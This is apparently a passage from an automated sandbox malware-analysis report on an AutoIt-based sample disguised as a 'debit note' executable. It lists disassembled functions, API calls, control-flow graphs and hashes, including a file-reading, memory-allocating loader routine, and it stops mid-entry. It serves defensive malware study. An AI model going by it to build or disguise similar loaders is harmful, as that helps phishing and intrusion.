                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                          • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                          • API String ID: 2914291525-1005189915
                                          • Opcode ID: d6ae890ac616c70b0adde597a8f502ff5fb08519606e77913bb64844803ac3e9
                                          • Instruction ID: 324008788ca11066222c16167fc5b3db855b21205033cf9bff29629ff6c43806
                                          • Opcode Fuzzy Hash: d6ae890ac616c70b0adde597a8f502ff5fb08519606e77913bb64844803ac3e9
                                          • Instruction Fuzzy Hash: 6221F7B1900218AFDB40DFA4E988B9DBFB4FB09710F10862EFA15A6390D7B40544CF99
                                          Function 00410390 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 76windowregistryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          APIs
                                          • GetSysColorBrush.USER32(0000000F), ref: 0041039B
                                          • LoadCursorW.USER32(00000000,00007F00), ref: 004103AA
                                          • LoadIconW.USER32(?,00000063), ref: 004103C0
                                          • LoadIconW.USER32(?,000000A4), ref: 004103D3
                                          • LoadIconW.USER32(?,000000A2), ref: 004103E6
                                          • LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041040E
                                          • RegisterClassExW.USER32(?), ref: 0041045D
                                            • Part of subcall function 00410490: GetSysColorBrush.USER32(0000000F), ref: 004104C3
                                            • Part of subcall function 00410490: RegisterClassExW.USER32(00000030), ref: 004104ED
                                            • Part of subcall function 00410490: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 004104FE
                                            • Part of subcall function 00410490: InitCommonControlsEx.COMCTL32(004A90E8), ref: 0041051B
                                            • Part of subcall function 00410490: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 0041052B
                                            • Part of subcall function 00410490: LoadIconW.USER32(00400000,000000A9), ref: 00410542
                                            • Part of subcall function 00410490: ImageList_ReplaceIcon.COMCTL32(00B957A0,000000FF,00000000), ref: 00410552
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                          • String ID: #$0$AutoIt v3
                                          • API String ID: 423443420-4155596026
                                          • Opcode ID: c82d51e411665b6a3a3e76d1a8d87b49acf25a0f72c8993ed2556b78267af7e8
                                          • Instruction ID: fa3beea58d24b169a793a749875a715f65b9999dd8e8f54869ce90ead7ff89b0
                                          • Opcode Fuzzy Hash: c82d51e411665b6a3a3e76d1a8d87b49acf25a0f72c8993ed2556b78267af7e8
                                          • Instruction Fuzzy Hash: 31212AB1E55214AFD720DFA9ED45B9EBBB8BB4C700F00447AFA08A7290D7B559408B98
                                          Function 0040A780 Relevance: 16.6, APIs: 8, Strings: 1, Instructions: 881COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _malloc
                                          • String ID: Default
                                          • API String ID: 1579825452-753088835
                                          • Opcode ID: 4baf5ca2405be5455ac24bb95f1fa40f153dd1d14dcfbbf3cadbb4c6cd5c85f8
                                          • Instruction ID: a673259d86369fb9501a746496732cc59a2062e12c9a0651055f0cdb6904a52b
                                          • Opcode Fuzzy Hash: 4baf5ca2405be5455ac24bb95f1fa40f153dd1d14dcfbbf3cadbb4c6cd5c85f8
                                          • Instruction Fuzzy Hash: 13729DB06043019FD714DF25D481A2BB7E5EF85314F14882EE986AB391D738EC56CB9B
                                          Function 0040F5C0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 125COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 1954 40f5c0-40f5cf call 422240 1957 40f5d0-40f5e8 1954->1957 1957->1957 1958 40f5ea-40f613 call 413650 call 410e60 1957->1958 1963 40f614-40f633 call 414d04 1958->1963 1966 40f691 1963->1966 1967 40f635-40f63c 1963->1967 1968 40f696-40f69c 1966->1968 1969 40f660-40f674 call 4150d1 1967->1969 1970 40f63e 1967->1970 1973 40f679-40f67c 1969->1973 1972 40f640 1970->1972 1974 40f642-40f650 1972->1974 1973->1963 1975 40f652-40f655 1974->1975 1976 40f67e-40f68c 1974->1976 1977 40f65b-40f65e 1975->1977 1978 425d1e-425d3e call 4150d1 call 414d04 1975->1978 1979 40f68e-40f68f 1976->1979 1980 40f69f-40f6ad 1976->1980 1977->1969 1977->1972 1990 425d43-425d5f call 414d30 1978->1990 1979->1975 1982 40f6b4-40f6c2 1980->1982 1983 40f6af-40f6b2 1980->1983 1985 425d16 1982->1985 1986 40f6c8-40f6d6 1982->1986 1983->1975 1985->1978 1988 425d05-425d0b 1986->1988 1989 40f6dc-40f6df 1986->1989 1988->1974 1991 425d11 1988->1991 1989->1975 1990->1968 1991->1985
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __fread_nolock_fseek_memmove_strcat
                                          • String ID: AU3!$EA06
                                          • API String ID: 1268643489-2658333250
                                          • Opcode ID: 344840b9fdfdbe4b30e8dbd48a4dc96b4183e4050995daab1dbb295d1862c352
                                          • Instruction ID: 581a58983a44a30c9dde9fea67fd4d6d070b0eb534c71953d0d39c84ae2506d9
                                          • Opcode Fuzzy Hash: 344840b9fdfdbe4b30e8dbd48a4dc96b4183e4050995daab1dbb295d1862c352
                                          • Instruction Fuzzy Hash: A541EF3160414CABCB21DF64D891FFD3B749B15304F2808BFF581A7692EA79A58AC754
                                          Function 00401100 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136windowtimeregistryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 1994 401100-401111 1995 401113-401119 1994->1995 1996 401179-401180 1994->1996 1998 401144-40114a 1995->1998 1999 40111b-40111e 1995->1999 1996->1995 1997 401182 1996->1997 2000 40112c-401141 DefWindowProcW 1997->2000 2002 401184-40118e call 401250 1998->2002 2003 40114c-40114f 1998->2003 1999->1998 2001 401120-401126 1999->2001 2001->2000 2005 42b038-42b03f 2001->2005 2009 401193-40119a 2002->2009 2006 401151-401157 2003->2006 2007 40119d 2003->2007 2005->2000 2008 42b045-42b059 call 401000 call 40e0c0 2005->2008 2012 401219-40121f 2006->2012 2013 40115d 2006->2013 2010 4011a3-4011a9 2007->2010 2011 42afb4-42afc5 call 40f190 2007->2011 2008->2000 2010->2001 2017 4011af 2010->2017 2011->2009 2012->2001 2014 401225-42b06d call 468b0e 2012->2014 2018 401163-401166 2013->2018 2019 42b01d-42b024 2013->2019 2014->2009 2017->2001 2025 4011b6-4011d8 KillTimer call 401000 PostQuitMessage 2017->2025 2026 4011db-401202 SetTimer RegisterWindowMessageW 2017->2026 2020 42afe9-42b018 call 40f190 call 401a50 2018->2020 2021 40116c-401172 2018->2021 2019->2000 2027 42b02a-42b033 call 4370f4 2019->2027 2020->2000 2021->2001 2028 401174-42afde call 45fd57 2021->2028 2026->2009 2033 401204-401216 CreatePopupMenu 2026->2033 2027->2000 2028->2000 2045 42afe4 2028->2045 2045->2009
                                          APIs
                                          • DefWindowProcW.USER32(?,?,?,?,?,?,?,004010F8,?,?,?), ref: 00401136
                                          • KillTimer.USER32(?,00000001,?), ref: 004011B9
                                          • PostQuitMessage.USER32(00000000), ref: 004011CB
                                          • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 004011E5
                                          • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,004010F8,?,?,?), ref: 004011F0
                                          • CreatePopupMenu.USER32 ref: 00401204
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                          • String ID: TaskbarCreated
                                          • API String ID: 129472671-2362178303
                                          • Opcode ID: cce8c5a03ea04b09f31441a39b36d20ef7a6309a2ce36e618d98c5e601e7cd17
                                          • Instruction ID: c871ea33cf18a3cc9178abcaf30b48d6b70312a550ef0fd47f6a389c1f0ea6f4
                                          • Opcode Fuzzy Hash: cce8c5a03ea04b09f31441a39b36d20ef7a6309a2ce36e618d98c5e601e7cd17
                                          • Instruction Fuzzy Hash: 1E417932B0420497DB28DB68EC85BBE3355E759320F10493FFA11AB6F1C67D9850879E
                                          Function 004115D7 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 2046 4115d7-4115df 2047 4115ee-4115f9 call 4135bb 2046->2047 2050 4115e1-4115ec call 411988 2047->2050 2051 4115fb-4115fc 2047->2051 2050->2047 2054 4115fd-41160e 2050->2054 2055 411610-41163b call 417fc0 call 41130a 2054->2055 2056 41163c-411656 call 4180af call 418105 2054->2056 2055->2056
                                          APIs
                                          • _malloc.LIBCMT ref: 004115F1
                                            • Part of subcall function 004135BB: __FF_MSGBANNER.LIBCMT ref: 004135D4
                                            • Part of subcall function 004135BB: __NMSG_WRITE.LIBCMT ref: 004135DB
                                            • Part of subcall function 004135BB: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,004115F6,?,00401BAC,?,?,?), ref: 00413600
                                          • std::exception::exception.LIBCMT ref: 00411626
                                          • std::exception::exception.LIBCMT ref: 00411640
                                          • __CxxThrowException@8.LIBCMT ref: 00411651
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
                                          • String ID: ,*H$4*H$@fI
                                          • API String ID: 615853336-1459471987
                                          • Opcode ID: 221d40d7984faa14442154e9f969528898a85ced6d82758f7c2d656e85d04d6d
                                          • Instruction ID: 1677ae912bb9c86ef767233b76c14da205579da8f33ef274bedc9cd0e4e1b94c
                                          • Opcode Fuzzy Hash: 221d40d7984faa14442154e9f969528898a85ced6d82758f7c2d656e85d04d6d
                                          • Instruction Fuzzy Hash: C5F0F9716001196BCB24AB56DC01AEE7AA5AB40708F15002FF904951A1CBB98AC2875D
                                          Function 0433B5E8 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 2065 433b5e8-433b696 call 4339028 2068 433b69d-433b6c3 call 433c4f8 CreateFileW 2065->2068 2071 433b6c5 2068->2071 2072 433b6ca-433b6da 2068->2072 2073 433b815-433b819 2071->2073 2080 433b6e1-433b6fb VirtualAlloc 2072->2080 2081 433b6dc 2072->2081 2074 433b85b-433b85e 2073->2074 2075 433b81b-433b81f 2073->2075 2077 433b861-433b868 2074->2077 2078 433b821-433b824 2075->2078 2079 433b82b-433b82f 2075->2079 2084 433b86a-433b875 2077->2084 2085 433b8bd-433b8d2 2077->2085 2078->2079 2086 433b831-433b83b 2079->2086 2087 433b83f-433b843 2079->2087 2082 433b702-433b719 ReadFile 2080->2082 2083 433b6fd 2080->2083 2081->2073 2088 433b720-433b760 VirtualAlloc 2082->2088 2089 433b71b 2082->2089 2083->2073 2090 433b877 2084->2090 2091 433b879-433b885 2084->2091 2092 433b8e2-433b8ea 2085->2092 2093 433b8d4-433b8df VirtualFree 2085->2093 2086->2087 2094 433b853 2087->2094 2095 433b845-433b84f 2087->2095 2096 433b762 2088->2096 2097 433b767-433b782 call 433c748 2088->2097 2089->2073 2090->2085 2098 433b887-433b897 2091->2098 2099 433b899-433b8a5 2091->2099 2093->2092 2094->2074 2095->2094 2096->2073 2105 433b78d-433b797 2097->2105 2101 433b8bb 2098->2101 2102 433b8b2-433b8b8 2099->2102 2103 433b8a7-433b8b0 2099->2103 2101->2077 2102->2101 2103->2101 2106 433b7ca-433b7de call 433c558 2105->2106 2107 433b799-433b7c8 call 433c748 2105->2107 2112 433b7e2-433b7e6 2106->2112 2113 433b7e0 2106->2113 2107->2105 2115 433b7f2-433b7f6 2112->2115 2116 433b7e8-433b7ec CloseHandle 2112->2116 2113->2073 2117 433b806-433b80f 2115->2117 2118 433b7f8-433b803 VirtualFree 2115->2118 2116->2115 2117->2068 2117->2073 2118->2117
                                          APIs
                                          • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 0433B6B9
                                          • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0433B8DF
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1678168488.0000000004339000.00000040.00000020.00020000.00000000.sdmp, Offset: 04339000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_4339000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CreateFileFreeVirtual
                                          • String ID:
                                          • API String ID: 204039940-0
                                          • Opcode ID: ed516440ab75e0c1ded8a7b1870b24392b753ad5cf7d4aa929dd61e32643855c
                                          • Instruction ID: 5895a9ba20274474c868ec09bdc122584e38775df5c5bf632ca85474603632a1
                                          • Opcode Fuzzy Hash: ed516440ab75e0c1ded8a7b1870b24392b753ad5cf7d4aa929dd61e32643855c
                                          • Instruction Fuzzy Hash: 3CA10774E00209EBEB14CFA4C894BEEF7B5FF48306F209159E511BB281D775AA81CB94
                                          Function 004102B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 2119 4102b0-4102c5 SHGetMalloc 2120 4102cb-4102da SHGetDesktopFolder 2119->2120 2121 425dfd-425e0e call 433244 2119->2121 2122 4102e0-41031a call 412fba 2120->2122 2123 41036b-410379 2120->2123 2131 410360-410368 2122->2131 2132 41031c-410331 SHGetPathFromIDListW 2122->2132 2123->2121 2129 41037f-410384 2123->2129 2131->2123 2133 410351-41035d 2132->2133 2134 410333-41034a call 412fba 2132->2134 2133->2131 2134->2133
                                          APIs
                                          • SHGetMalloc.SHELL32(0040F54C), ref: 004102BD
                                          • SHGetDesktopFolder.SHELL32(?,004A90E8), ref: 004102D2
                                          • _wcsncpy.LIBCMT ref: 004102ED
                                          • SHGetPathFromIDListW.SHELL32(?,?), ref: 00410327
                                          • _wcsncpy.LIBCMT ref: 00410340
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcsncpy$DesktopFolderFromListMallocPath
                                          • String ID: C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe
                                          • API String ID: 3170942423-2258816079
                                          • Opcode ID: bfe3e3032d26ed5990890659b1503a19068975a9e613434ef85ace480ecdfa96
                                          • Instruction ID: 8627f7bfe00d67ecf541507c27de0d1a6b0c746b93627a891ac6cfe5d1469166
                                          • Opcode Fuzzy Hash: bfe3e3032d26ed5990890659b1503a19068975a9e613434ef85ace480ecdfa96
                                          • Instruction Fuzzy Hash: 4B219475A00619ABCB14DBA4DC84DEFB37DEF88700F108599F909D7210E674EE45DBA4
                                          Function 0040E4C0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79registryCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 2137 40e4c0-40e4e5 call 403350 RegOpenKeyExW 2140 427190-4271ae RegQueryValueExW 2137->2140 2141 40e4eb-40e4f0 2137->2141 2142 4271b0-4271f5 call 4115d7 call 43652f RegQueryValueExW 2140->2142 2143 42721a-42722a RegCloseKey 2140->2143 2148 427210-427219 call 436508 2142->2148 2149 4271f7-42720e call 402160 2142->2149 2148->2143 2149->2148
                                          APIs
                                          • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,?,?,0040E4A1), ref: 0040E4DD
                                          • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,0040E4A1,00000000,?,?,?,0040E4A1), ref: 004271A6
                                          • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,0040E4A1,?,00000000,?,?,?,?,0040E4A1), ref: 004271ED
                                          • RegCloseKey.ADVAPI32(?,?,?,?,0040E4A1), ref: 0042721E
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: QueryValue$CloseOpen
                                          • String ID: Include$Software\AutoIt v3\AutoIt
                                          • API String ID: 1586453840-614718249
                                          • Opcode ID: 413bff81f872addaca3d9ad162024b649ce289641a3285436bc7eb0a5f7ce606
                                          • Instruction ID: d6672e68ffeed78ba434be4ce119fa1e10800d5a5bf196f8e2f41644cb46c1f5
                                          • Opcode Fuzzy Hash: 413bff81f872addaca3d9ad162024b649ce289641a3285436bc7eb0a5f7ce606
                                          • Instruction Fuzzy Hash: CF21D871780204BBDB14EBF4ED46FAF737CEB54700F10055EB605E7281EAB5AA008768
                                          Function 00410570 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 2154 410570-4105f1 CreateWindowExW * 2 ShowWindow * 2
                                          APIs
                                          • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 004105A5
                                          • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 004105CE
                                          • ShowWindow.USER32(?,00000000), ref: 004105E4
                                          • ShowWindow.USER32(?,00000000), ref: 004105EE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$CreateShow
                                          • String ID: AutoIt v3$edit
                                          • API String ID: 1584632944-3779509399
                                          • Opcode ID: b28a7d78b19f48c216133de275d8b0452446851dd496b073adb1022152ad6d67
                                          • Instruction ID: 021b1916d714280a6beb379f8f8b29d81737bdb93309e58067b2166fb7f1837a
                                          • Opcode Fuzzy Hash: b28a7d78b19f48c216133de275d8b0452446851dd496b073adb1022152ad6d67
                                          • Instruction Fuzzy Hash: 29F01771BE43107BF6B0A764AC43F5A2698A758F65F31083BB700BB5D0E1E4B8408B9C
                                          Function 0433B3D8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 136fileCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 0433B2C8: Sleep.KERNELBASE(000001F4), ref: 0433B2D9
                                          • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0433B4D6
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1678168488.0000000004339000.00000040.00000020.00020000.00000000.sdmp, Offset: 04339000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_4339000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CreateFileSleep
                                          • String ID: LQ0FJHX3QPYH5E
                                          • API String ID: 2694422964-611289837
                                          • Opcode ID: c8ee95ab9cf0154d24496d3df351b5104a44a83fedac3f59a04a88a58ef92b08
                                          • Instruction ID: 426f6cee405f3f010286f3eafbebf609c3e344285749ab82c90a260e0222edc5
                                          • Opcode Fuzzy Hash: c8ee95ab9cf0154d24496d3df351b5104a44a83fedac3f59a04a88a58ef92b08
                                          • Instruction Fuzzy Hash: CE518271D04259DAEF11DBA4C818BEFBB78AF09301F004599E608BB2C0D7792B44CBA5
                                          Function 00401B80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 91windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042723B
                                            • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                            • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                                          • _wcsncpy.LIBCMT ref: 00401C41
                                          • _wcscpy.LIBCMT ref: 00401C5D
                                          • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401C6F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
